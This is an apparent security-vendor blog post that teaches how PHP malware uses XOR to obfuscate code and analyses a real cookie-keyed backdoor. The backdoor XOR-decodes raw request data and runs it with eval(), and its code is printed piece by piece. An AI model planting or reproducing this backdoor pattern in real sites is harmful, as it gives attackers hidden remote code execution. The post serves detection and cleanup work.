As a security engineer at Sucuri (Sucuri was acquired by GoDaddy in Spring 2017), we must use reverse engineering and analytical skills to determine if a suspected code sample is indeed malicious and then after confirmation we need to understand exactly how it is being used by the attacker. In this post we’ll explain how the XOR operator works in PHP, the multiple ways that XOR can be used to hide malicious data, and how you can use the XOR operating principles to reverse engineer PHP malware that uses it to hide malicious code.
We will mainly focus on the simple XOR cipher, which itself is an application of the exclusive disjunction (XOR) logical operation.
Let’s examine how the XOR bitwise operator, ⨁, is used as a cipher additive for encryption/decryption:
Aplaintext | ⨁ | Bkey | = | Cciphertext |
It is important to mention that PHP uses the ^ caret symbol for the XOR operator as it does not allow for the ⨁ symbol to be used in its code.
PHP’s manual provides further information regarding how the XOR operation is performed at the bit level on the operand strings in the PHP code:
“If both operands for the […] ^ operators are strings, then the operation will be performed on the ASCII values of the characters that make up the strings and the result will be a string.”
PHP malware using XOR will often use two operands, which are defined variables containing strings (e.g $a and $b). The strings used by one of the operand variables are the plaintext (in this example it is the malicious code) that we wish to encrypt, and the other operand variable string is what is known as a pre-shared key.
It’s also important to know that XOR operates as a symmetrical form of encryption - which means that we can encrypt and decrypt using the same key.
Let us break this down with a simple PHP example:
<?php
$a = "test" ; //our plaintext that we want encrypted
$b = "1234" ; //our key to use with plaintext to give us encrypted result
$c = $a ^ $b ; //our XOR bitwise encryption between $a and $b
echo $c ; //result = EW@@
?>
Remember that PHP’s ^ (XOR) bitwise operator converts each character to their corresponding ASCII value, which can be checked with an ASCII table.
A visual table of the XOR symmetric encryption:
Aplaintext | ⨁ | Bkey | ASCII -> decimal | Adec value | ⨁ | Bdec value | Cciphertext | CASCII char | |
---|---|---|---|---|---|---|---|---|---|
t | ^ | 1 | = | 116 | ^ | 49 | = | 69 | E |
e | ^ | 2 | = | 101 | ^ | 50 | = | 87 | W |
s | ^ | 3 | = | 115 | ^ | 51 | = | 64 | @ |
t | ^ | 4 | = | 116 | ^ | 52 | = | 64 | @ |
After undergoing XOR bitwise operation, we are left with the ASCII decimal values of 69 87 64 64 (or EW@@ after we convert back to ASCII characters. The result is the ciphertext (C), also known as the encrypted text.
Remember, this is symmetrically encrypted — so the key (B) to decrypt it back into plaintext (A) is the same key that was used to encrypt it.
In the case of PHP malware that utilizes XOR encryption for obfuscation, we primarily see it used in three methods:
Only the ciphertext (C) in the infected file is stored. The malicious user submits the key (B) in a HTTP request to the PHP file which then decrypts the ciphertext (C) to plain text (A). The now decrypted ciphertext (A) is legible code and can then be executed by PHP.
C ciphertext in file | ^ | Bkey sent by hacker | = | Aplaintext PHP code |
The plaintext (A) string is malicious code that attackers then encrypt on their end by using XOR with a key (B) string, The result ends up being the ciphertext (C), which is unreadable as PHP code.
This ciphertext (C) is then added to a compromised websites’ file(s), along with some PHP code that uses some user-provided data (e.g via $_POST
). This allows the hacker to send the value of the key and use the infected PHP file to decrypt the ciphertext (C) back to plaintext (A) (their malicious PHP code), then execute it using something like the eval()
function.
Users that open the infected PHP file will only see the ciphertext (C); as they are missing the (B) key, they therefore cannot easily decrypt the encrypted content (C). This is what the hacker wants, as it keeps their malicious PHP code unreadable until they submit a request containing the necessary key (B) string.
One problem is that, depending on the amount of encrypted malicious PHP code, the ciphertext (C) in the infected file can be large and attract suspicion when viewed in a file editor.
Only the key (B) in the infected file is stored. The hacker then provides the ciphertext (C) in their request and it is XOR’ed with the existing key value in the file to form our plaintext (A) — which is then executed.
Cciphertext sent by hacker | ^ | Bkey in file code | = | Aplaintext PHP code |
For this second method, let’s take a look at a recent backdoor that was found in a file named “01f008ec.php” within the root directory of an infected website.
PHP file formatted and segmented for clarity:
$auth = "21a27be0cd332f0e8430e24da7158a96";
if (isset($_COOKIE[$auth]))
{
$key = str_rot13($_COOKIE[$auth]);
The backdoor starts with a isset
condition that must be satisfied in the request sent to the file — in this case, the HTTP cookie containing the key value. This cookie value, which must match the hardcoded value of the defined $auth
variable, is then encoded using str_rot13
and used to define the $key
(B) variable.
$res = "";
foreach (str_split(@file_get_contents('php://input') , strlen($key)) as $part)
{
$res .= $part ^ $key;
}
eval($res);
Before the XOR operation, the file will use file_get_contents('php://input')
to read raw data through GET/POST requests (XOR encoding may add special characters that can be broken if not transmitted raw) to the malicious file. It’s then split into an array using str_split
and defined with the variable $part
within a foreach
loop.
We can see the malicious file’s code eventually evaluates code through a separate variable, eval($res)
— this lets us know that the variable $res
should contain the plaintext PHP code in order to be successfully executed.
{
$res .= $part ^ $key;
}
eval($res);
This is a great example of the properties of symmetrical cryptography. The hacker uses the key (B) value to create the unreadable ciphertext (C) on their end, then the ciphertext (C) is submitted to the infected file via GET/POST request where it will be XOR’ed with the key (B) once more. The result is a plaintext (A) value that contains the malicious PHP code to be executed by the eval()
function.
It’s important to note that the plaintext (A) gets evaluated, so you won’t ever see it — nor the ciphertext (C) being sent to the infected file (unless you are logging HTTP requests or otherwise inspecting HTTP packets).
One advantage with using this method is that even if HTTP requests are being inspected (e.g. by a firewall), website owners wouldn’t see the plaintext PHP, which can aid in evading detection. Another advantage is that the infection in the file can be much smaller (~235 characters on one line) than the previous method, which can have thousands of characters — this can also help prevent administrators from identifying malicious changes to files.
The third method we see shares these same advantages, along with one more:
The infected file does NOT contain any hardcoded ciphertext (C) or a key (B): Instead, the hacker provides the ciphertext and key as two strings in a crafted HTTP request to the infected file. These are then XOR’ed to produce the cleartext (A), which can then be executed.
This third method doesn’t have the key value (B) hardcoded into the infected file’s coding like our previous example, therefore requiring interception of the HTTP request so that the key value (B) can be used to decrypt/encrypt the ciphertext (C).
In conclusion, XOR bitwise operations in PHP malware can help hackers evade certain security controls, but their symmetric cryptography means that anyone that knows the pre-shared secret key can decrypt/encrypt using it.
Users who believe that their site may be infected with a PHP backdoor can refer to our hacked website guides for cleanup instructions, or reach out to our remediation team for assistance — we’re always happy to lend a hand.
If you would like to receive email notifications for technical website security posts, subscribe for our blog feed.